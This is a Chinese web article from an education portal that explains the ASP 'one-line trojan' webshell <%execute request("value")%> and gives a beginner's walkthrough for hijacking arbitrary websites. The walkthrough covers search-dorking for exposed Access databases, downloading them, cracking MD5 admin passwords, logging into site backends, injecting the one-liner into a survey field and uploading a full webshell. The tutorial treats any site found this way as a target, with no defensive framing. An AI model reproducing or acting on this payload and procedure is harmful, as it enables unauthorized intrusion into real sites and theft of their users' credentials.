一句话木马

来源:互联网
更新时间:2016/6/14 2:11:20
责任编辑:鲁晓倩
字体:

黑客在注册信息的电子邮箱或者个人主页等中插入类似如下代码:

<%execute request("value")%>

当知道了数据库的URL,就可以利用本地一张网页进行连接得到Webshell。

这就被称为一句话木马,它是基于B/S结构的。

方法如下:

教菜鸟快速拿下WEBSHELL:(请管理员加点什么啊)

工具网上都有的:

挖掘机 v1.1

辅臣数据游览器

一名话木马

ASP马

首先打开挖掘机 v1.1,

选择“添加后缀”加入一个新的后缀“/database/userdata.mdb”并勾选,其他后缀全都不要勾

关键词填“inurl:xxlr1.asp?ID=”

开始

看下方的检测结果里一会就会出了很多数据库地址

随便选取一个数据库地址,双击就会自动下载,我们保存到桌面,用辅臣打开他

找到表名“user1”双击打开

“user”为用户名   “pas”为密码

我们可以看到密码是用MD5加密过的,可以到http://www.cmd5.com解密(如果查询结果为“NotFound”说明没有记录,需要换一个用户)

获得密码之后就可以去网站登陆了

登陆之后选择“管理网站”,进入后台

如果前台没有的话就用明小子或是啊D扫一下后台地址

后台拿到了,接下来就是拿shell了

随便选取一个项目,选择“修改”,把原内容清掉,插入一句话木马“<%execute request("value")%>”(如果没有项目的话直接填在下方的

“增加项目”然后添加调查)

调查的数据库路径是“dc/webdc.asp”把这个加入到网站主页的路径后就是完整的路径,打开采飞扬 - 网站小助手,把完整的路径输入,然后

按“go...”就能使用一句话木马了,观察给出的程序路径,应该是***\dc\help.asp(***为前面的路径,因为每个站不一样我就不举例,省得

误会)

让你“输入保存的路径”,你就填***\a.asp(这里的***就是上面的***)

接着找到火狐NEW WEBSHELL 8.0,右键它,选择“用记事本打开”,选取全部内容,复制,并粘贴到刚才让你“输入文件的内容”后面的框中

,然后按“保存”就ok了

在浏览器中打开http://(这个站的地址)/a.asp,输入密码“admin”(火狐NEW WEBSHELL 8.0的密码,用其他webshell的请根据实际填相应

的密码)

这样我们就拿下了一个WEBSHELL

是很容易的,工具网上好多的,自己找下,不明白问我或是找相应教程

www.xue163.com true http://www.xue163.com/0/1670/4017.html report 1344 一句话木马,黑客在注册信息的电子邮箱或者个人主页等中插入类似如下代码:<%executerequest(value)%>当知道了数据库的URL,就可以利用本地一张网页进行连接得到Webshell。这就被称为一句话木马,它是基于B/S结构的。方法如...
最近关注
首页推荐
热门图片
相关文章:
最新添加资讯
24小时热门资讯
精彩资讯
精彩推荐
热点推荐
真视界
精彩图片
社区精粹
关于本站 | 广告服务 | 手机版 | 商务合作 | 免责申明 | 招聘信息 | 联系我们
Copyright © 2004-2016 Xue163.com All Rights Reserved. 中国学网 版权所有
京ICP备10044368号-1 京公网安备11010802011102号
荐闻 | 学网头条知识问答 | 装修 | 作业 | 荐闻 | 学网头条精彩微信 | 新闻中心 | 软件教室 | 设计大全 | 网络相关 | 英语学习 | 开发编程 | 考试中心 | 参考范文 | 管理文库 | 营销中心 | 站长之家 | IT信息中心 | 商学院 | 数码大全 | 硬件DIY | 企业服务 | 网吧在线 | 问吧 | 百科 | 硬件知识 | 本网视点 | 文库 | 手机 | 平板 | 汽车 | 游戏 | 家电 | 精彩摄影 | 时尚科技 | 现代家居 | IT女人 | 经验 | 每日新闻 | 健康养生 | 图书馆 | 猎奇 | 精彩看点 | 图库 | 新闻中心 | 软件教室 | 设计大全 | 网络相关 | 英语学习 | 开发编程 | 考试中心 | 参考范文 | 管理文库 | 营销中心 | 站长之家 | IT信息中心 | 商学院 | 数码大全 | 硬件DIY | 企业服务 | 网吧在线 | 问吧 | 百科 | 硬件知识 | 本网视点 | 文库 | 手机 | 平板 | 汽车 | 游戏 | 家电 | 精彩摄影 | 时尚科技 | 现代家居 | IT女人 | 经验 | 每日新闻 | 健康养生 | 图书馆 | 精彩微信 | 猎奇 | 精彩看点 | 图库编程 方案 信息windows方案windows answer文档机构教育文档问答中心IT编程数码信息解决方案信息中心IT科技